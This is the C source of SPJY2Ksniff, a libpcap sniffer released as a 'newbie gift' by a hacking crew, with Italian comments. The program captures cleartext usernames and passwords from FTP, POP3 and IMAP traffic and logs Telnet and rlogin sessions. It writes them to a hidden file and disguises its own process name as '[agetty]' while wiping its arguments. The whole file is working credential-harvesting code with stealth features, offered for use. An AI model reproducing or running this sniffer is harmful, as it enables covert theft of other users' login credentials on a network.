/************************************************************************
* Special Y2K Newbie Gift From S0ftProject Crew http://www.s0ftpj.org/	*
* ---------------------------------------------------------------------	*
* SPJY2Ksniff								*
* 			Sniffer di rete per operare attacchi di tipo	*
*			passivo ed evidenziare lacune nella protezione	*
*			del proprio traffico di LAN. Fa uso della lib	*
*			pcap(3) per accedere allo strato datalink.	*
*			Questo vuol dire che la libreria deve essere	*
*			presente, con i suoi header a disposizione del	*
*			preprocessore.					*
*									*
*			Compilate con:					*
*				 gcc -o SPJY2Ksniff SPJ2Ksniff.c -lpcap	*	
*									*
*						     FuSyS [S0ftPj|BFi]	*
*						 http://www.s0ftpj.org/	*
*									*
************************************************************************/

/*
 * Cosa vuol dire Newbie Version ? Due cose:
 * 1) questo sniffer lavora CON PRECISIONE solo su FTP, POP3 ed IMAP. Per altri
 *    protocolli si basa sul conteggio dei byte inviati. Questo funziona bene
 *    per Telnet e Rlogin, ma non e' altrettanto parsimonioso per i log.
 * 2) usa gli include di Linux. Dovrete trovare voi il modo per usarlo su altri
 *    UNIX. Ovviamente c'e' e NON e' difficile =;)
 *
 * NB: RICORDATEVI DI LIBPCAP !
 *							FuSyS
 */

#include <netdb.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <getopt.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <net/if.h>
#include <pcap/pcap.h>
#include <signal.h>

#define         MTU                     1500
#define 	SNAPLEN			8*1024
#define		MAXCONN			10
#define         LOGFILE			".NEWBIESNIFF"
#define		IPHDR			sizeof(struct iphdr)
#define 	TCPHDR			sizeof(struct tcphdr)

int IFFHDR, i, S, iplen, tcplen;
struct pcap *pcap_s;
struct pcap_pkthdr pcap_h;
unsigned char *buf, *saddr, *daddr;
struct iphdr *ip;
struct tcphdr *tcp;
char *payload, buff[SNAPLEN];
FILE *logs;
struct conn {
        unsigned long saddr;
        unsigned long daddr;
        unsigned short src;
        unsigned short dst;
	unsigned long seq;
};
struct conn *theft[MAXCONN];

void uso(char *name)
{
	printf("\n");
	printf("\033[1;32mSPJY2Ksniff"); 
	printf("\033[1;34m - Special Newbie Gift Version\n");
	printf("Y2K Gift From \033[1;32mS0ftProject \033[1;34mCrew"); 
	printf(" - http://www.s0ftpj.org/\n");
	printf("Code by FuSyS [S0ftPj|BFi] <fusys@s0ftpj.org>\n\n");
	printf("Use: %s -i <device di rete>\033[0m\n\n", name);
}

void iffclose()
{
	pcap_close(pcap_s);
	fclose(logs);
	exit(13);
}

void delc()
{
        for(S=0;S<MAXCONN;S++)
           if(theft[S]!=NULL)
                if(ip->saddr==theft[S]->saddr && ip->daddr==theft[S]->daddr
                && tcp->source==theft[S]->src && tcp->dest==theft[S]->dst){
                        free(theft[S]);
			theft[S]=NULL;
                }
}

int addc()
{
        for(S=0;S<MAXCONN;S++){
            if(theft[S]!=NULL)
                if(ip->saddr==theft[S]->saddr && ip->daddr==theft[S]->daddr
                && tcp->source==theft[S]->src && tcp->dest==theft[S]->dst){
                        return(1);
                }
        }
        for(S=0;S<MAXCONN;S++){
                if(theft[S]==NULL){
                theft[S]=calloc(1, sizeof(struct conn));
                theft[S]->saddr=ip->saddr;
                theft[S]->daddr=ip->daddr;
                theft[S]->src=tcp->source;
                theft[S]->dst=tcp->dest;
		theft[S]->seq=tcp->seq;
                return(0);
                }
        }
        return(0);
}

void dumpip()
{
	saddr=(unsigned char*)&(ip->saddr);
       	daddr=(unsigned char*)&(ip->daddr);
       	fprintf(logs, "\n-=[ %u.%u.%u.%u:%d <-> %u.%u.%u.%u:%d ]=-\n",
       		saddr[0], saddr[1], saddr[2], saddr[3],
               	ntohs(tcp->source), daddr[0], daddr[1], daddr[2],
               	daddr[3], ntohs(tcp->dest));
        fflush(logs);
}

void dumper()
{	
	memset(buff,0,sizeof(buff));
	for(i=0;i<pcap_h.len-(IFFHDR+iplen+tcplen);i++){
        	if(isprint(payload[i]))buff[i]=payload[i];
                else if(buff[i]=='\r'||buff[i]=='\n')buff[i]='\n';
		else buff[i]='.';
	}
	if(!addc())dumpip();
	if(!tcp->rst && !tcp->fin){
		if((ntohl(tcp->seq)-ntohl(theft[S]->seq)<100))
			fprintf(logs, "%s", buff);
	}
	else delc();
	fflush(logs);
}

void sniff()
{
        switch(ntohs(tcp->dest))
        {
                case 21:
                        if(strstr(payload,"USER")||strstr(payload,"PASS")){
				strncpy(buff, payload, 32);
                                dumpip();
				for(i=0;i<strlen(buff);i++){
				   if(isprint(buff[i]))fputc(buff[i], logs);
				   else if(buff[i]=='\r'||buff[i]=='\n'){
					fflush(logs);
					return;
				   }
				}
                        }
			break;
		/* tutto il resto, volendo */
                case 23:
		case 513:
			dumper();
                        break;
		/* fine dumper polivalente */
		case 110:
                        if(strstr(payload,"user")||strstr(payload,"pass")
			 ||strstr(payload,"USER")||strstr(payload,"PASS")){
                                strncpy(buff, payload, 32);
                                dumpip();
                                for(i=0;i<strlen(buff);i++){
                                   if(isprint(buff[i]))fputc(buff[i], logs);
                                   else if(buff[i]=='\r'||buff[i]=='\n'){
                                        fflush(logs);
                                        return;
                                   }
                                }
                        }
                        break;
		case 143:
		case 220:
			if(strstr(payload,"authenticate") ||
			   strstr(payload,"AUTHENTICATE")){
				strncpy(buff, payload, 80);
				dumpip();
                                for(i=0;i<strlen(buff);i++){
                                   if(isprint(buff[i]))fputc(buff[i], logs);
                                   else if(buff[i]=='\r'||buff[i]=='\n'){
                                        fflush(logs);
                                        return;
                                   }
                                }
                        }
                        break;
        }
}

void nethunt()
{
	ip=(struct iphdr*)(buf+IFFHDR);
	iplen=(ip->ihl<<2);
	if(ip->protocol != 6) return;
	tcp=(struct tcphdr*)(buf+IFFHDR+iplen);
	tcplen=(tcp->doff<<2);
	payload=(char *)(buf+IFFHDR+iplen+tcplen);
	sniff();
}

int main(int argc, char **argv)
{
	char iff[10], ebuf[255];
	char *fakeargv="[agetty]";
	int opt;

	if(argc<2) {
		uso(argv[0]);
		exit(0);
	}

	if(getuid()){
		fprintf(stderr, "Spiacente, ma devi essere root\n");
		exit(1);
	}

	while ((opt = getopt(argc, argv, "i:")) != EOF) {
        	switch(opt)
		{
			case 'i':
				strncpy(iff, optarg, 10);	
				break;
			default:
				exit(0);
				break;
		}
	}

	if((pcap_s=pcap_open_live(iff, SNAPLEN, 1, 1000, ebuf))==NULL) {
		fprintf(stderr, "Impossibile Aprire il Dispositivo Pcap\n");
		exit(17);
	}

	switch(pcap_datalink(pcap_s))
	{
		case DLT_NULL: 
			IFFHDR = 4;
			break;
		case DLT_EN10MB:
    		case DLT_EN3MB:
      			IFFHDR = 14;
      			break;
    		case DLT_PPP:
      			IFFHDR = 4;
      			break;
    		case DLT_SLIP:
      			IFFHDR = 16;
      			break;
    		case DLT_FDDI:
     	 		IFFHDR = 21;
      			break;
    		case DLT_RAW:
      			IFFHDR = 0;
      			break;
    		default:
			fprintf(stderr, "Dispositivo Sconosciuto !\n");
			exit(17);
			break;
	}		

	if((logs=fopen(LOGFILE, "a"))==NULL) {
		fprintf(stderr, "Impossibile Aprire il File di Log\n");
		exit(17);
	}

	signal(SIGINT, iffclose);
        signal(SIGTERM, iffclose);
        signal(SIGKILL, iffclose);
        signal(SIGQUIT, iffclose);

        printf("\n\033[1;32mSPJY2Ksniff\033[1;34m Newbie Gift Version from");
        printf("\033[1;32m S0ftProject Crew\n");
        printf("-----------------------------");
        printf("------------------------\033[0m\n");
        fflush(stdout);

	memset(argv[0], '\0', strlen(argv[0])+1);
        strncpy(argv[0], fakeargv, strlen(fakeargv));
	memset(argv[1], '\0', strlen(argv[1])+1);
	memset(argv[2], '\0', strlen(argv[2])+1);

	while(1) {
		buf=(u_char *)pcap_next(pcap_s, &pcap_h);
		if(buf!=NULL && (pcap_h.len - IFFHDR) >= IPHDR) nethunt();
	}
	exit(0);
}
